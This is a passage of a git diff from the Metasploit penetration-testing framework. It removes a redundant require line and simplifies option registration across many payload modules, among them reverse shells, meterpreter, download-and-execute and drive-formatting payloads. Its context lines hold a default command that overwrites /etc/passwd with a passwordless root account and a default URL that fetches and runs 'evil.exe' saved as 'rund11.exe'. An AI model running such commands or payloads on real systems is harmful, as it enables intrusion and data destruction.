[ true, "The command string to execute", 'echo "toor::0:0:::/bin/bash">/etc/passwd' ]), - ], self.class) + ]) end def php_exec_cmd diff --git a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb index 4369d2a5cf..860b5f6150 100644 --- a/modules/payloads/singles/php/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/php/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/php/reverse_tcp' require 'msf/base/sessions/meterpreter_php' diff --git a/modules/payloads/singles/php/reverse_perl.rb b/modules/payloads/singles/php/reverse_perl.rb index 194c5b90fa..a166d86a78 100644 --- a/modules/payloads/singles/php/reverse_perl.rb +++ b/modules/payloads/singles/php/reverse_perl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/php' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/php/reverse_php.rb b/modules/payloads/singles/php/reverse_php.rb index bb0dbb5ad5..9dc32fbd77 100644 --- a/modules/payloads/singles/php/reverse_php.rb +++ b/modules/payloads/singles/php/reverse_php.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/php' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/php/shell_findsock.rb b/modules/payloads/singles/php/shell_findsock.rb index 9190671866..e2f8c1200a 100644 --- a/modules/payloads/singles/php/shell_findsock.rb +++ b/modules/payloads/singles/php/shell_findsock.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/php' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/python/meterpreter_bind_tcp.rb b/modules/payloads/singles/python/meterpreter_bind_tcp.rb index ccee4a7458..913bd5bb0f 100644 --- a/modules/payloads/singles/python/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/python' require 'msf/core/payload/python/meterpreter_loader' diff --git a/modules/payloads/singles/python/meterpreter_reverse_http.rb b/modules/payloads/singles/python/meterpreter_reverse_http.rb index 4edbc4dd95..f2c3806ef3 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_http' require 'msf/core/payload/python' require 'msf/core/payload/python/meterpreter_loader' diff --git a/modules/payloads/singles/python/meterpreter_reverse_https.rb b/modules/payloads/singles/python/meterpreter_reverse_https.rb index db9df75f6b..4f822e4802 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_https' require 'msf/core/payload/python' require 'msf/core/payload/python/meterpreter_loader' diff --git a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb index f6b0a616b8..a8d4481190 100644 --- a/modules/payloads/singles/python/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/python/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/python' require 'msf/core/payload/python/meterpreter_loader' diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index 372ce0e4fd..bd35ab038a 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index d31d91ea1a..bc3d8dcd2c 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index b8554cbe4f..f2005253ed 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index f084531e39..aa591e6de4 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index cf4cb17543..c0987b5c52 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/ruby' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb index b2c7bef693..6b82989708 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp_ssl.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/ruby' require 'msf/core/handler/reverse_tcp_ssl' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb index ed921903ab..95429bbbd2 100644 --- a/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/solaris/sparc/shell_find_port.rb b/modules/payloads/singles/solaris/sparc/shell_find_port.rb index 050d136438..0525e4d8aa 100644 --- a/modules/payloads/singles/solaris/sparc/shell_find_port.rb +++ b/modules/payloads/singles/solaris/sparc/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb index 6d29055d6f..9613d62d8c 100644 --- a/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/sparc/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb index d8360af809..0b60c0cb24 100644 --- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb index c06c224c1e..ee77e80802 100644 --- a/modules/payloads/singles/solaris/x86/shell_find_port.rb +++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb index 14b2b37855..c8cc80b649 100644 --- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/tty/unix/interact.rb b/modules/payloads/singles/tty/unix/interact.rb index af1d155348..7a86320a28 100644 --- a/modules/payloads/singles/tty/unix/interact.rb +++ b/modules/payloads/singles/tty/unix/interact.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/find_tty' require 'msf/base/sessions/command_shell' diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb index 3c20929862..972ad9939e 100644 --- a/modules/payloads/singles/windows/adduser.rb +++ b/modules/payloads/singles/windows/adduser.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/payload/windows/exec' @@ -44,12 +43,12 @@ module MetasploitModule OptString.new('PASS', [ true, "The password for this user", "Metasploit$1" ]), OptString.new('CUSTOM', [ false, "Custom group name to be used instead of default", '' ]), OptBool.new('WMIC', [ true, "Use WMIC on the target to resolve administrators group", false ]), - ], self.class) + ]) register_advanced_options( [ OptBool.new("COMPLEXITY", [ true, "Check password for complexity rules", true ]), - ], self.class) + ]) # Hide the CMD option...this is kinda ugly deregister_options('CMD') diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb index 943fbec81f..1b78a24100 100644 --- a/modules/payloads/singles/windows/dns_txt_query_exec.rb +++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - module MetasploitModule CachedSize = 285 @@ -32,7 +30,7 @@ module MetasploitModule register_options( [ OptString.new('DNSZONE', [ true, "The DNS zone to query" ]), - ], self.class) + ]) end # diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 1354a8d750..041a9e7f1e 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule CachedSize = 423 @@ -31,7 +29,7 @@ module MetasploitModule [ OptString.new('URL', [true, "The pre-encoded URL to the executable" ,"https://localhost:443/evil.exe"]), OptString.new('EXE', [ true, "Filename to save & run executable on target system", "rund11.exe" ]) - ], self.class) + ]) end # diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb index 4df00b2d8f..567eeb7f1a 100644 --- a/modules/payloads/singles/windows/exec.rb +++ b/modules/payloads/singles/windows/exec.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/exec' ### diff --git a/modules/payloads/singles/windows/format_all_drives.rb b/modules/payloads/singles/windows/format_all_drives.rb index e8a446f189..82efda80be 100644 --- a/modules/payloads/singles/windows/format_all_drives.rb +++ b/modules/payloads/singles/windows/format_all_drives.rb @@ -12,8 +12,6 @@ # ### -require 'msf/core' - module MetasploitModule CachedSize = 393 @@ -54,7 +52,7 @@ module MetasploitModule register_options( [ OptString.new('VOLUMELABEL', [ false, "Set the volume label", "PwNeD" ]) - ], self.class) + ]) end def generate diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb index 8fe7335668..3f708ad2d4 100644 --- a/modules/payloads/singles/windows/loadlibrary.rb +++ b/modules/payloads/singles/windows/loadlibrary.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/loadlibrary' ### diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb index 88ee9f8ccf..5fdf6268b3 100644 --- a/modules/payloads/singles/windows/messagebox.rb +++ b/modules/payloads/singles/windows/messagebox.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule @@ -34,7 +32,7 @@ module MetasploitModule OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ]), OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ]), OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ]) - ], self.class) + ]) end # diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb index a8c7a46536..443e8314bf 100644 --- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb index d65177b64a..fbff461758 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb index d0d81d5b89..5b5a0cafe0 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb index 1bc8694f5b..087ebad8c3 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' @@ -38,7 +37,7 @@ module MetasploitModule OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb index 1317d1e16d..e016717971 100644 --- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/metsvc_bind_tcp.rb b/modules/payloads/singles/windows/metsvc_bind_tcp.rb index c38bd1693c..04d778b7fc 100644 --- a/modules/payloads/singles/windows/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_bind_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb index 898c4c71ab..212b079497 100644 --- a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_x86_win' require 'msf/base/sessions/meterpreter_options' diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb index 2d1e407e83..8832572a19 100644 --- a/modules/payloads/singles/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/exec' require 'msf/core/payload/windows/powershell' require 'msf/base/sessions/powershell' @@ -46,7 +45,7 @@ module MetasploitModule register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), - ], self.class) + ]) # Hide the CMD option...this is kinda ugly deregister_options('CMD') end diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb index b822413140..7a8b0031cc 100644 --- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/exec' require 'msf/core/payload/windows/powershell' require 'msf/base/sessions/powershell' @@ -46,7 +45,7 @@ module MetasploitModule register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), - ], self.class) + ]) # Hide the CMD option...this is kinda ugly deregister_options('CMD') end diff --git a/modules/payloads/singles/windows/shell_bind_tcp.rb b/modules/payloads/singles/windows/shell_bind_tcp.rb index fc8d6d0f72..18867c9b4a 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb index 584368c19f..088bd61b40 100644 --- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb +++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb index 0416b159d4..72bde4c61e 100644 --- a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb +++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb index 4ca47a3d69..73acda04be 100644 --- a/modules/payloads/singles/windows/shell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/windows/speak_pwned.rb b/modules/payloads/singles/windows/speak_pwned.rb index c9f0e8ad52..0287f363e5 100644 --- a/modules/payloads/singles/windows/speak_pwned.rb +++ b/modules/payloads/singles/windows/speak_pwned.rb @@ -34,7 +34,6 @@ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. =end -require 'msf/core' require 'msf/core/payload/windows/exec' diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb index 4fe2d25fad..1db7f24d3b 100644 --- a/modules/payloads/singles/windows/x64/exec.rb +++ b/modules/payloads/singles/windows/x64/exec.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule @@ -51,7 +49,7 @@ module MetasploitModule register_options( [ OptString.new('CMD', [ true, "The command string to execute" ]), - ], self.class ) + ]) end def generate diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb index 72c60a2b31..76bd3fa4dd 100644 --- a/modules/payloads/singles/windows/x64/loadlibrary.rb +++ b/modules/payloads/singles/windows/x64/loadlibrary.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - module MetasploitModule @@ -55,7 +53,7 @@ module MetasploitModule register_options( [ OptString.new('DLL', [ true, "The library path to load (UNC is OK)" ]), - ], self.class ) + ]) end def generate diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb index f9cb2dbef7..817523d397 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/bind_tcp' require 'msf/core/payload/windows/x64/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index ffb89bb36f..a81a801839 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_http' require 'msf/core/payload/windows/x64/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb index 9ce813ecf9..d8b2843047 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_https' require 'msf/core/payload/windows/x64/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb index eec70f1140..10b0fcb25e 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/transport_config' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/windows/x64/meterpreter_loader' @@ -38,7 +37,7 @@ module MetasploitModule OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']), OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0]) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb index 7193501230..1879ffbb82 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/reverse_tcp' require 'msf/core/payload/transport_config' require 'msf/core/payload/windows/x64/meterpreter_loader' @@ -37,7 +36,7 @@ module MetasploitModule register_options([ OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) - ], self.class) + ]) end def generate(opts={}) diff --git a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb index 50866c3a55..ace33f1d13 100644 --- a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/exec_x64' require 'msf/core/payload/windows/powershell' require 'msf/base/sessions/powershell' @@ -46,7 +45,7 @@ module MetasploitModule register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), - ], self.class) + ]) # Hide the CMD option...this is kinda ugly deregister_options('CMD') end diff --git a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb index ab3dc16595..60f572b724 100644 --- a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/payload/windows/exec_x64' require 'msf/core/payload/windows/powershell' require 'msf/base/sessions/powershell' @@ -46,7 +45,7 @@ module MetasploitModule register_options( [ OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]), - ], self.class) + ]) # Hide the CMD option...this is kinda ugly deregister_options('CMD') end diff --git a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb index da91dfdbb1..b63ece3258 100644 --- a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' diff --git a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb index c63bd6ca1f..7a10e8420d 100644 